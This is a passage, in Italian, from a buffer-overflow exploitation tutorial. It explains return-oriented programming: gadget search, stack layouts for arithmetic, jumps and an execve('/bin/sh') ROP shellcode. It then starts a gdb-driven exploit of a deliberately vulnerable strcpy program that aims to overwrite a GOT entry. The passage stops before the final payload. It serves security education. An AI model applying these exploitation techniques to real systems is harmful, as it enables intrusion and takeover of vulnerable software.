3 Inoltre, le sequenze di codice che noi invocheremo, considerando i blocchi, hanno
un'interfaccia casuale; al contrario, l'interfaccia della chiamata a funzione è standardizzata
come una parte dell'ABI.
Questi gadgets o breve sequenza di istruzioni possono essere combinate assieme per permetterci
di eseguire varie operazioni, tra cui caricare/scaricare da registri, operazioni logiche e
aritmetiche, controllo del flusso e chiamate di sistema.
Questa metodologia non può dirsi completamente rivoluzionaria ma comunque nuova. Riferendoci
agli attacchi ret-to-libc, esistono punti in comune tra questa e la nuova tecnica.
Ad esempio molti attacchi in stile ret-to-libc utilizzano piccoli ritagli di codice proveniente
dalle librerie, in particolare gli spezzono di codice come "pop %reg; ret" sono utilizzati per
settare un registro con l'argomento da utilizzare in una chiamata a syscall. Questi "vecchi"
attacchi utilizzano unioni di queste sequenze al fine di ottenere l'invocazione di una funzione
della libc oppure il salto in una regione di codice in cui la shellcode è stata posizionata.
I black-hat USA hanno pensato bene di mettere assieme un algoritmo in grado di effettuare un
ricerca all'interno del codice delle libc, con lo copo di trovare sequenze utili ai nostri
propositi.
Prima definiamo come devono essere queste istruzioni "utili". Un sequenza di istruzioni è utile
se questa può essere utilizzata per costituire i nostri "gadgets", ovvero se è una sequenza di
istruzioni valida terminanate con l'istruzione "ret". é proprio questa istruzione che è in grado
di far prosequire il nostro programma al prossimo nostro spezzono di codice.
Alcune regole per l'individuazione delle sequenze utili:
- Qualsiasi suffisso di una sequenza può essere considerato come una sequenza stessa, ad esempio
"a; b; c; ret" è una sequenza di istruzioni utili, ma anche la stessa "sottosequenza" "b; c;
ret" lo è.
- Quando troviamo una sequenza che si ripete più volte nel codice, allora noi andremo a
prendere, per ovvie ragioni, quella che si trova ad un indirizzo di memoria senza byte nulli.
In base a queste considerazioni, noi possiamo pensare di inserire le sequenze in un albero. Alla
radice di questo si trova un nodo che rappresenta l'istruzione "ret". La relazione "figlio di"
di questo albero è tenuta da questa istruzione e la sua precedente, ad esempio, se un albero è
costituito da un nodo "ret" ed un figlio "pop %eax", la sequenza rappresentata sarà "pop %eax;
ret".
Il principio della ricerca delle istruzioni è molto semplice,
l'algoritmo ricerca a ritroso una istruzione "0xc3", ovvero ret per l'x86. Quando trova questo
opcode si domanderà se il byte immediatamente precedente a questo costituisce una istruzione
valida. In caso di risposta negativa proseguirà chiedendosi se i due byte immediatamente
precedenti a ret costituiscono una istruzione valida e via dicendo fino alla massima lunghezza
possibile per le istruzioni della piattaforma in esame. Quando una istruzione valida viene
riconosciuta, l'algoritmo sistema questa nell'albero. L'algoritmo procede byte per byte in modo
ricorsivo.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 84 di 193
Il seguente è l'algoritmo Galileo:
Algorithm GALILEO:
create a node, root, representing the ret instruction;
place root in the trie;
for pos from 1 to textseg_len do:
if the byte at pos is c3, i.e., a ret instruction, then:
call BuildFrom(pos,root);
Procedure BuildFrom:
for step from 1 to max_insn_len do:
if bytes [(pos - step)...(pos - 1)] decode as a valid instruction insn then:
ensure insn is in the trie as a child of parent_insn;
if insn isn't boring then:
call BuilfFrom(pos - step, insn).
Nello pseudo-codice può destare titubanze la definizione "boring". La definizione è valida nei
seguenti casi:
- Occorrenza dell'istruzione leave seguita da una ret
- Occorrenza di una istruzione pop %ebp e immediatamente seguita da un istruzione ret
- Occorrenza di una istruzione di ritorno oppure di un salto incondizionato
L'ultimo di questi tre criteri elimina il flusso di istruzioni a cui è affidato il controllo
trasferendolo altrove prima che l'istruzione ret venga chiamata, rendendola percìò inutile per i
nostri scopi.
La sequenza "leave; ret" non va bene dato che l'istruzione leave esegue cio che può essere fatto
dalle istruzioni "mov %ebp, %esp; pop %ebp". Ovvero ripristina lo stack alla situazione della
chiamata a funzione precedente. Quindi elimina la serie di istruzioni che sarebbero più utili a
noi. Non verranno utilizzate le sequenze di codice per le quali sono valide una o più di queste
condizioni.
L'algoritmo effettua il parsing dell'header delle libc per determinare quale porzione di libc è
mappata assieme all'eseguibile nel segmento eseguibile. Per far questo è possibiler utilizzare
delle librerie. Per il parsing dell'elf header, è possibile utilizzare le librerie GNU libelf,
per codificare le istruzioni x86, è possibile utilizzare libdisasm, con alcune modifiche.
Ora cercheremo di stendere una via di mezzo tra un catalogo e un tutorial che mostri le azioni
che dobbiamo fare usando le sequenze che si trovano nelle libc.
I gadgets sono le nostre unità di organizzazione intermedie, questi gadgets specificano certi
valori che devono essere piazzati sullo stack, questi determinano l'uso di una o più sequenze di
istruzioni della libc. I gadgets specificano precise operazioni come caricamento, un xor, o un
salto. Return-oriented programming consiste nel mettere (posizionare) i gadget (gli indirizzi di
questi) assieme in modo da ottenere le operazioni volute. La differenza sostanziale è che nello
stack non viene iniettato codice, ma solo gli indirizzi di questi gadget localizzati in .text
delle libc.
L'esecuzione di ogni gadget avviene sempre nel medesimo modo, il processore esegue l'istruzione
ret con il registro ESP che punta alla WORD contenente l'indirizzo del prossimo gadget, (Ricorda
che quando le funzioni ritornano ESP punta all'indirizzo di ritorno, "ret" lo carica in EIP)
Gli schemi che seguono rappresentano lo stack, ogni casella rappresenta un WORD, gli indirizzi
più grandi sono posti in cima. Alcune delle WORD contengono indirizzi a sequenze di istruzioni,
altri contengono dei puntatori ad altre word.
Ad esempio vediamo come caricare il valore 0xdeadbeef in un registro. In questo caso l'indirizzo
di ritorno viene sovrascritto con l'indirizzo del gadget "pop %edx; ret". Il registro ESP viene
incrementato già dalla ret "legale" del programma, di conseguenza quando la sequenza viene
eseguita ESP punta esattamente al valore 0xdeadbeef. "pop %edx", capite quindi, che sistema
questo valore nel registro EDX. La ret serve per passare al gadget successivo, dato che
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 85 di 193
l'istruzione di pop ha incrementato a sua volta ESP, che punta all'indirizzo del prossimo gadget
che ret caricherà in EIP. Questo è il meccanismo chiave del return-oriented programming. Deve
essere chiaro.
higher addresses
|________________________|
| |
| 0xdeadbeef |
|________________________|
| |
| --------------------> pop %edx >> previous saved return address <<
ESP <--|________________________| ret
| |
lower addresses
Un esempio di caricamento dalla memoria, noi possiamo caricare dalla memoria nel registro %eax,
usando la sequenza "movl 0x40(%eax), %eax; ret", dobbiamo solo assicurarci che al momento
dell'esecuzione dell'istruzione movl 64(%eax), il registro punti alla locazione di memoria dalla
quale il nostro elemento dista 64 byte. Lo schema:
|________________________|
| |
| ---------------------> movl 64(%eax), %eax
|________________________| ret
| |
/--------------- |
| |________________________|
| | |
| | --------------------> pop %eax
|ESP|________________________| ret
| | |
|
| |________________________|
| | |
| | 0xdeadbeef |
+64 \-->|________________________|
| |
Il gadget affrontato prima costituito da "pop 'registro'; ret" caricherà in EAX l'indirizzo.
Questo, come abbiamo detto punterà ad una posizione che si trova 64 byte più in basso rispetto
al valore da caricare. A questo punto eseguiamo la sequenza di "movl 64(%eax), %eax", dopo la
quale EAX conterrà il contenuto della locazione di memoria indicata.
In modo similare possiamo effettuare una operazione di caricamento dal registro alla memoria. La
sequenza "movl %eax, 24(%edx); ret" inserisce il contenuto di EAX nella memoria.
Anche in questo caso l'istruzione ret fa saltare l'esecuzione eseguendo il gadget "pop %edx;
ret". ESP punta alla WORD più alta, l'istruzione pop copia questo valore in EDX incrementando il
valore di ESP che punta al gadget più alto. La ret fa eseguire l'istruzione movl.
|________________________|
| |
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 86 di 193
| ---------------------> movl 24(%eax), %eax
|________________________| ret
| |
/--------------- |
| |________________________|
| | |
| | --------------------> pop %edx
|ESP|________________________| ret
| | |
|
| |________________________|
| | |
| | |
+24 \-->|________________________|
| |
Prima di prosequire parlando delle operazioni logiche e aritmetiche che si possono effettuare,
preferisco fare un ripasso su come lavora l'istruzione x86: "ret". E' molto importante capire
come funziona ret nel dettaglio, sia per capire i due esempi appena affrontati, sia per non
avere difficoltà nei successivi, che sono più complicati.
"L'istruzione RET organizza il ritorno al programma chiamante al termine di una procedura, cioè
un sottoprogramma chiamato con CALL."
"La procedura da cui si torna può essere di tipo NEAR, cioè posta dentro il segmento di codice
in cui è chiamata, o FAR, in caso contrario; questa caratteristica impone all'istruzione un
diverso modo di gestire le operazioni."
"Se la procedura da cui si torna è NEAR l'istruzione RET (o specificatamente RETN) provvede ai
seguenti compiti:
- preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella
parte bassa di IP.
- incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da
utilizzare come parte alta di IP.
- incrementa ancora SP.
- salta alla locazione di programma indicata dal nuovo valore di IP, praticamente l'indirizzo di
offset della locazione del programma principale successiva a quella con la CALL che l'aveva
costretto ad uscirne.
Se la procedura da cui si torna è FAR l'istruzione RET (o specificatamente RETF) provvede ai
seguenti compiti:
- preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella
parte bassa di IP.
- incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da
utilizzare come parte alta di IP.
- incrementa ancora SP e lo utilizza per puntate la locazione da cui prelevare la parte bassa di
CS.
- incrementa ancora SP e lo utilizza per puntare la locazione da cui prelevare la parte alta di
CS.
- incrementa ancora il valore di SP.
- salta alla locazione di programma indicata dal nuovo valore di CS:IP, praticamente l'indirizzo
logico completo della locazione del programma principale successiva a quella con la CALL che
l'aveva costretto ad uscirne."
Questa definizione ci ricorda come funziona ret. L'istruzione ret, sistema il contenuto dello
stack pointer (ESP) in EIP, al momento del ritorno da una funzione. Su questo meccanismo si
basano gli attacchi ret-to-libc. Questo funziona perchè al momento della chiamata a ret esp
punterà all'indirizzo di ritorno che era stato salvato nello stack.
Il seguente codice mostra come utilizzare ret:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 87 di 193
--------- test0E.c -----------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char string[]="/bin/sh";
char end[]="echo END";
void func(void);
int main(int argc,char**argv) {
func();
// Will never call:
system(end);
}
void func(void) {
int dummy; // Return address of our shell
int system = 134513420; // Decimal code of 0x804830c (<system@plt>)
printf("\nCall a shell via .plt:\n");
asm(
"push %1;"
"push %2;"
"push %0;"
"ret;"
:
:"r"(system),
"r"(string),
"r"(dummy));
}
--------- test0E.c END --------------------
L'indirizzo della system può cambiare a seconda dell'ambiente naturalmente, è sufficiente
ricalcolarlo con gdb come già sapete fare:
root@HackLab:~/RetOriented# gdb a.out -q
(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>: lea 0x4(%esp),%ecx
....
0x08048402 <main+14>: sub $0x14,%esp
0x08048405 <main+17>: call 0x804841f <func>
0x0804840a <main+22>: movl $0x804a020,(%esp)
0x08048411 <main+29>: call 0x804830c <system@plt>
....
End of assembler dump.
(gdb) x/8i 0x804830c
0x804830c <system@plt>: jmp *0x804a004
0x8048312 <system@plt+6>: push $0x8
....
L'indirizzo che ci serve è 0x084830c
Lavorando sul valore di dummy è possibile far eseguire una ulteriore funzione dopo essere
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 88 di 193
ritornati da system().
Compiliamo ed eseguiamo:
root@HackLab:~/RetOriented# gcc test0E.c -g
root@HackLab:~/RetOriented# ./a.out
Call a shell via .plt:
sh-3.2#
Ora vediamo alcuni metodi per eseguire delle somme.
La sequenza di istruzione più conveniente per eseguire una somma è la seguente:
addl (%edx), %eax
push %edi
ret
La prima istruzione aggiunge a EAX la WORD puntata da EDX, che è esattamente ciò che vogliamo
fare. L'istruzione seguente crea qualche problema. Mentre la sequenza "pop-ret" risulta
conveniente per implementare un caricamento di una costante, essa è scomoda per altre due
situazioni. Prima di tutto, il valore pushato nello stack è quello usato subito da ret per
saltare alla prossima sequenza, quindi questo deve essere pre-determinato. Inoltre l'operazione
di push va a sovrascrivere una WORD nello stack, WORD che potrebbe essere parte di un gadget
successivo. Questo verrebbe modificato.
Diciamo che nel ret-oriented programming l'istruzione ret può essere usata per la stessa
funzione di una nop. Nello schema che segue vediamo che l'istruzione "push %edi" causa la
sovrascrittura della word sopra le vetta dello stack con il contenuto di EDI. Contenuto puntato
poi da ret. In questo modo abbiamo che questa sequenza va bene solo nel caso in cui l'operazione
add deve essere eseguita una volta. Non va bene se abbiamo bisogno di un ciclo.
|________________________|
| |
| --------------------------> addl(%edx), %eax
|________________________| push %edi
| | ret
| --------------------\
|________________________| |
| | |
| --------------------------> pop %edx
|________________________| | ret
| | |
| -----------------------------------> ret
|________________________| |
| | |
| --------------------------> pop %edi >start<
ESP |________________________| | ret
| | |
|
|________________________| |
| | |
| 0xdeadbeef | |
|________________________|<-/
| |
La soluzione in questo caso è settare l'ultima WORD nel gadget con l'indirizzo della sequenza
"addl (%edx),%eax; push %edi; ret", come parte del codice. Non possiamo utilizzare la sequenza
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 89 di 193
per immagazzinare nella memoria un valore dato che %eax è occupato dall'operazione add. Invece,
usiamo un'altra sequenza disponibile: "movl %ecx, (%edx); ret".
|________________________|
| |
| |
/>|________________________|
| | |
/---------------- |
| | |________________________|
| | | |
| | | --------------------> pop %edx
| | |________________________| ret
| | | |
| | | --------------------> ret
| | |________________________|
| | | |
| | | ---------------------> pop %edi
| | |________________________| ret
| | | |
| | | ---------------------> movl %ecx, (%edx)
| | |________________________| ret
| | | |
| \------------- |
| |________________________|
| | |
| | ---------------------> addl (%edx), %eax
| |________________________| push %edi
| | | ret
| | -----------------------------------> pop %ecx
| ESP |________________________| pop %edx
| | | ret
|
| |________________________|
| | |
| | 0xdeadbeef |
\---->|________________________|
Riassumendo, l'indirizzo di ritorno è sovrascritto dall'indirizzo del gadget "pop %ecx; pop
%edx; ret". Questo gadget incrementa ESP di due, ESP punterà alla sequenza "movl %ecx, (%edx);
ret", fate attenzione , le due pop precedenti inseriscono nei registri ECX ed EDX l'indirizzo
del gadget di addizione e un'altro valore che andremo a utilizzare dopo, ret causa un salto alla
sequenza successiva, essa muove ECX all'indirizzo puntato da EDX, di seguito viene eseguita la
sequenza ancora sopra, questa sistema il valore attuale di ESP in EDI, ESP viene incrementato e
punta ora "pop %edx; ret", la pop sistema quindi l'indirizzo del gadget "addl (%edx), %eax; push
%edi; ret" in EDX. Questo viene quindi eseguito. Dopo questi passaggi il ciclo viene ripetuto.
Grazie alla combinazione di più gadget è possibile fare quasi ogni sorta di operazione. Le
moltiplicazioni possono essere eseguite combinando più addizzioni, And, or, not sono alcune
delle operazioni più implementate, molte volte per arrivare ad eseguire queste operazioni sono
necessari molti gadget. Ad esempio se non abbiamo a disposizione sequenza come "xorl (%edx),
%eax", ma invece abbiamo delle sequenze come "xorb %al, (%ebx)", possiamo comunque effettuare
una operazione xor completa sul registro, potendo muovere ogni byte di EAX in AL uno alla volta
e ripetendo poi il tutto per quattro volte.
Vediamo come effettuare dei salti incondizionati.
Abbiamo detto che nel return-oriented programming il registro ESP punta all'istruzione seguente,
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 90 di 193
di conseguenza un salto non condizionato consiste semplicemente nell'incrementare il valore di
questo registro. un modo per farlo è ad esempio attraverso l'istruzione "pop %esp". Il gadget
seguente crea un loop infinito.
|________________________|
| |
| ----------------------------\
|________________________| |
| | |
| ----------------------------------> pop %esp
ESP |________________________|<---------/ ret
| |
"pop %esp" sposta l'indirizzo del gadget nella locazione posiozionata più in alto nello stack,
"ret" esegue nuovamente.
I salti condizionati sono più complessi da realizzare. Per sviluppare una sequenza di gadgets
che effettui un salto in modo dipendente dal valore di un dato flag divideremo il lavoro in tre
parti principali.
1 Occorre prima eseguire una serie di operazioni che cambiano il valore del flag di stato
secondo le nostre esigenze.
2 Copiare il valore del registro flag della CPU ad un registro comune. Isolare il flag
interessato.
3 Usare il flag a cui si è interessati per influenzare ESP condizionando l'ammontare (l'offset)
del salto da effettuare.
Scegliamo di utilizzare il flag di carry.
Molto agilmente possiamo verificarne un valore attraverso l'istruzione "neg". Se il valore è
zero neg pulisce il flag CF, in caso contrario lo setta ad 1. Il seguente schema mostra il caso
più semplice.
|________________________|
| |
| -----------------------------> neg %eax
|________________________| ret
| |
Se volessimo verificare l'uguaglianza di due valori, possiamo sottrarre l'uno all'altro e
verificare se il risultato della "sub" è zero con "neg".
La seconda parte può essere effettuata attraverso le istruzioni "lahf", oppure "pushf" del
regostro eflags. Sfortunatamente queste istruzioni non sono quasi mai presenti, provate a
cercarle nella libc, non ci sono. Quindi a meno che siamo fortunati, ricorreremo ad un'altro
metodo.
Ovvero utilizzando l'istruzione adc, abbastanza presente. Questa istruzione somma due valori più
il bit del flag di carry se presente, il risultato è posto nel registro di destinazione.
|________________________|
| |
| --------------------------> movl %ecx, (%edx)
|________________________| ret
| |
| --------------------------> adc %cl, %cl
|________________________| ret
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 91 di 193
| |
| --------------------\
|________________________| |
| | |
| 0x00000000 | |
|________________________| |
| | |
| --------------------------> pop %ecx
ESP |________________________| | pop %edx
| | | ret
|
|________________________| |
| | |
| (CF goes here) | |
|________________________|<-/
| |
La prima sequenza ad essere eseguita è "pop %ecx; pop %edx; ret" quindi in ECX 0, in EDX
mettiamo il valore della WORD alla quale punta ESP in quel dato momento, non è importante il
valore effettivo della WORD.
Infatti ret farà si che la prossima sequenza ad essere eseguita è "adc %cl, %cl; ret". Nel
nostro caso %cl diverrà risultato della somma di 0 + 0 + CF, di conseguenza il valore risultante
è il flag di carry.
Il terzo passo chiarisce il perchè abbiamo spostato il valore del flag di carry in una data
posizione puntata dal registro EDX.
In questa posizione abbiamo o il valore 1 o 0. Quello che dobbiamo fare è portare questo valore
o "all'offset" utile allo spostamento di ESP oppure 0, ovvero il salto non avviene.
In questo caso lo schema è meglio che fare una lunga e confusa spiegazione,
|________________________|
| |
| ---------------------------> andl %esi, (%ecx)
|________________________| rolb $0x5d, 0x5e5b6cc(%ebx)
| | ret
| ---------------------\
|________________________| |
| | |
| ---------------------------> pop %ecx
|________________________| | pop %ebx
| | | ret
| esp_delta | |
|________________________| |
| | |
| ---------------------------> pop %esi
|________________________| | ret
| | |
| 0xdecafbad | |
|________________________| |
| | |
| 0xdecafbad | |
|________________________| |
| | |
| ---------------------------> negl 94(%ebx)
|________________________| | pop %edi
| | | pop %ebp
/---------------- | | mov %esi, %esi
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 92 di 193
| |________________________| | ret
| | | |
| ---------------------------> pop %ebx
| |________________________| | ret
| | | |
+94| | (CF here) | |
\-->|________________________|<--/
| |
| 0xbadc0ded |
|________________________|
| |
L'ultima fase,
|________________________|
| |
| ----------------------------> addl (%eax), %esp
|________________________| addb %al, (%eax)
| | addb %cl, 0(%eax)
/--------------- | addb %al, (%eax)
| |________________________| ret
| | |
| | ------------------------> pop %eax
|ESP|________________________| ret
| | |
|
| |________________________|
| | |
| | (perturbation here) |
\-->|________________________|
| |
Quello che ci manca è vedere come è possibile eseguire chiamate di sistema.
Facciamo un esempio di procedura per la chiamata ad una syscall senza argomenti.
mov %ebx, %edx
movl 4(%esp), %ebx
mov $0x0000003c, %eax
lcall %gs:0x10(,0)
mov %edx, %ebx
ret
Questa procedura è comune negli ambienti windows, su linux invece noi possiamo inserire anche
direttamente l'indirizzo prendendolo dalla sezione .plt, come facciamo di solito.
0x12] (Arch: LINUX) - Return-oriented shellcode
Up
Il capitolo precedente è sicuramente stato traumatico, riuscire a tenere traccia del flusso del
programma scritto in quel modo si allontana totalmente dal normale tipo di sviluppo. Non è più
sufficiente conoscere l'assembly, occorre avere la capacità di tenere ben ordinate le azioni da
compiere nella propria mente.
Ora vediamo di scrivere una semplice shellcode per linux attraverso questa tecnica.
La nostra shellcode invocherà la syscall "execve()". Per far questo abbiamo bisogno di tre
azioni:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 93 di 193
1 Settare l'indice della call in questione (che è 11) in EAX.
2 Settare il percorso del programma da avviare che è "/bin/sh" in EBX.
3 Settare il vettore di argomenti argv per la shell in ECX. Come solito, questo conterrà la
stringa "/bin/sh", cioè il suo indirizzo e un valore NULL.
4 Settare anche il vettore envp delle variabili d'ambiente al valore NULL, e inserirlo in EDX.
Sistemiamo la stringa in cima allo stack.
Partendo da ESP iniziale avremo:
WORD 1: setto EAX a 0
WORD 2-4: carico l'indirizzo della seconda WORD di argv in EDX e, in preparazione alla
chiamata ad execve inserisco in ECX i valori 0x0b. Lo spostamento della WORD nulla in argv
avviene con il metodo visto in precedenza, ovvero prima carico il valore nel registro poi
(prossimo gadget) uso un'offset per caricare 0 in questo.
WORD 5: setto la seconda WORD suddetta a zero.
WORD 6: setto EAX con 0x0b
WORD 7 e 8: punto EBX alla stringa "/bin/sh"
WORD 9-11: setto ECX all'indirizzo dell'array argv e EDX all'indirizzo dell'array envp
WORD 12: chamata alla syscall execve()
Tutte le word non dovranno contenere byte nulli, così come in tutta la shellcode, in caso
contrario occorre cercare altri gadget posizionati ad indirizzi senza da byte nulli.
|________________________|
| |
| /sh\0 |
|________________________|
| |
| /bin |
/->|________________________|
| | |
| | (word to zero) |
+24/-|->|________________________|<--\
| | | | |
| |\------------- | |
| | |________________________|<--|--\
| | | | | |
| | | ------------------------> lcall %gs:0x10(,0)12) execve() può essere eseguita
| | |________________________| | |
| | | | | |
| | | ---------------------/ |
| | |________________________| |
| | | | |
| | | ------------------------/
| | |________________________|
| | | |
| | | ------------------------> pop %ecx 9) in ECX viene posizionato un puntatore
| | |________________________| pop %edx alla stringa /bin/sh, in EDX NULL
| | | | ret
| \--------------- |
| |________________________|
| | |
| | ------------------------> pop %ebx 7-8) "/bin/sh" in EBX
| |________________________| ret
| | |
| | ------------------------> add %ch, %al 6) in EAX viene posizionato '11',
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 94 di 193
| |________________________| ret l'indice di execve.
| | |
| | ------------------------> movl %eax, 24(%edx)
| |________________________| ret 5) EAX (ovvero il valore 0)viene
| | | spostato all'indirizzo dove punta
\----------------- | EDX + 24 byte.
|________________________|
| |
| 0x0b0b0b0b |
|________________________|
| |
| ------------------------> pop %ecx 2-4) in ECX viene inserito 0x0b0b0b0b,
|________________________| pop %edx in EDX il valore al momento presente
| | ret nella WORD ancora sopra.
| ------------------------> xor %eax, %eax 1) il registro EAX viene azzerato.
ESP--->|________________________| ret
| |
0x13] (Arch: LINUX) - Exploit dei sistemi protetti
Up
Ora che abbiamo visto un buon numero di cose, vediamo un esempio. Questa volta però partiremo
direttamente dal programma vulnerabile. Ci troviamo nelle peggiori condizioni, ovvero lo stack
non è eseguibile, ASLR abilitato e la vulnerabilità si trova in una funzione che termina con una
exit(), quindi nessun indirizzo di ritorno corruttibile, l'unica cosa non presente è il
meccanismo di propolice che riordina gli elementi nello stack.
Nonostante questo effettueremo l'exploit del bug.
Il programma:
--------- vuln.c -----------------------
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int func(char *msg) {
char buf[80];
strcpy(buf,msg); // Bug
buf[0] = toupper(buf[0]);
strcpy(msg,buf);
printf("Caps: %s\n",msg);
exit(1);
}
int main(int argc, char**argv) {
func(argv[1]);
}
--------- vuln.c END -------------------
Quindi:
root@Saturn:~/RetOriented# gcc -g vuln.c -fno-stack-protector
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 95 di 193
Abbiamo il nostro programma vulnerabile "a.out". Sfruttando la doppia strcpy() possiamo scrivere
un indirizzo arbitrario in una posizione arbitraria.
Questo perchè possiamo sovrascrivere "char* msg". La situazione:
_________________________________________...
| | | |
| puntatore | | buffer |
|___________|__|________________________|__...
4 byte ? 88 bytes
Dobbiamo sempre verificare la reale dimensione di memoria allocata per il buffer, non è detto
sia esattamente 80 bytes:
(gdb) disass func
Dump of assembler code for function func:
0x08048484 <+0>: push %ebp
0x08048485 <+1>: mov %esp,%ebp
0x08048487 <+3>: sub $0x68,%esp
0x0804848a <+6>: mov 0x8(%ebp),%eax
0x0804848d <+9>: mov %eax,0x4(%esp)
0x08048491 <+13>:lea -0x58(%ebp),%eax
infatti: "lea -0x58(%ebp),%eax" riserva ben 88 bytes, 8 in più.
Poi, quanto dista il buffer dal puntatore passato a func? Questa è una informazione molto
importante, dato che nel codice di attacco dovremo prevedere proprio un "padding" per poter
arrivare al puntatore. Troviamola:
(gdb) break 7
Breakpoint 1 at 0x804848a: file vuln.c, line 7.
(gdb) run
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out
Breakpoint 1, func (msg=0x0) at vuln.c:8
8 strcpy(buf,msg);
(gdb) print &msg
$1 = (char **) 0xbffff3a0
(gdb) print &buf
$2 = (char (*)[80]) 0xbffff340
0xbffff3a0 - 0xbffff340 = 96 bytes
dovrebbe essere 96 bytes. Verifichiamo:
(gdb) run $(python -c "print 'A'*96")
Breakpoint 1, func (msg=0xbffff5af 'A' <repeats 96 times>) at vuln.c:8
8 strcpy(buf,msg);
(gdb) n
9 buf[0] = toupper(buf[0]);
Indaghiamo:
(gdb) print &msg
$2 = (char **) 0xbffff340
(gdb) x/100x $esp
...
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 96 di 193
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0xbffff500 0x0011e0c0 0x0804851b 0x00283ff4
0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6
0xbffff360: 0x00000002 0xbffff404 0xbffff410 0xb7fff858
...
direi che è corretto, 96 bytes.
Sovrascriviamo il byte più a destra, questo non dovrebbe far crashare il programma dato che il
puntatore rimane relativo ad una zona vicina:
(gdb) run $(python -c "print 'A'*97")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'A'*97")
Breakpoint 1, func (msg=0xbffff5ae 'A' <repeats 97 times>) at vuln.c:8
8 strcpy(buf,msg);
(gdb) n
9 buf[0] = toupper(buf[0]);
(gdb) x/100x $esp
...
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0xbfff0041 0x0011e0c0 0x0804851b 0x00283ff4
0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6
...
(gdb) continue
Continuing.
Caps:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
Tutto ok.
Invece, proviamo a sovrascrivere un byte in più:
(gdb) run $(python -c "print 'a'*98")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'a'*98")
Breakpoint 1, func (msg=0xbffff5ad 'a' <repeats 98 times>) at vuln.c:8
8 strcpy(buf,msg);
(gdb) n
9 buf[0] = toupper(buf[0]);
(gdb) n
10 strcpy(msg,buf);
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
0x001a1214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) inf reg
eax 0xbf006161 -1090494111
ecx 0x41 65
edx 0x0 0
ebx 0x283ff4 2637812
esp 0xbffff2c0 0xbffff2c0
ebp 0xbffff2c8 0xbffff2c8
esi 0xbf006160 -1090494112
edi 0xbffff2e0 -1073745184
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 97 di 193
eip 0x1a1214 0x1a1214 <strcpy+20>
eflags 0x210246 [ PF ZF IF RF ID ]
...
Come vedete EAX contiene un indirizzo non accessibile per il nostro programma. quindi la
strcpy(), tentando di scriverci, riceve dal kernel un errore SIGSEGV.
Inserendo 96 bytes più 4 byte, questi ultimi 4 potrebbero divenire quelli che vanno a modificare
il valore del puntatore. In questo modo la copia seguente andrebbe a modificare i byte che si
trovano proprio a quell'indirizzo. Ci resta solo da decidere che cosa sovrascrivere.
Data la semplicità del programma l'unica cosa che mi pare ovvia da fare, è sovrascrivere la
entry nella sezione GOT relativa alla funzione printf(). Abbiamo già trattato la funzione della
sezione GOT in un capitolo precedente.
Questa contiene una serie di indirizzi associati a funzioni della libc. Al posto di printf()
eseguiremo qualcosa d'altro.
Per riuscire a sovrascrivere la entry è necessario fare ancora qualche ragionamento.
La sezione GOT è scrivibile. Siccome la vulnerabilità in questione riguarda una doppia strcpy()
dobbiamo adattare la stringa per essere "multiuso" diciamo. Infatti nell'estremità più bassa di
essa deve essere posizionato l'indirizzo della GOT. Ricaviamolo,
root@Saturn:~/Documenti/RetOriented-Exploit$ objdump -R a.out
a.out: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT toupper
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT strcpy
0804a010 R_386_JUMP_SLOT printf
0804a014 R_386_JUMP_SLOT exit
0x0804a010 deve essere posizionato dopo il padding in fondo al buffer in modo da sovrascire il
puntatore.
Mentre in testa al buffer viene posizionato il codice da copiare, dato che la seconda strcpy()
comincerà la copia della testa del buffer. Qui noi posizioneremo una serie di indirizzi in stile
ret-to-libc.
Prima di decidere cosa copiare facciamo un primo esperimento, 'AAAA' inceve che un indirizzo
valido:
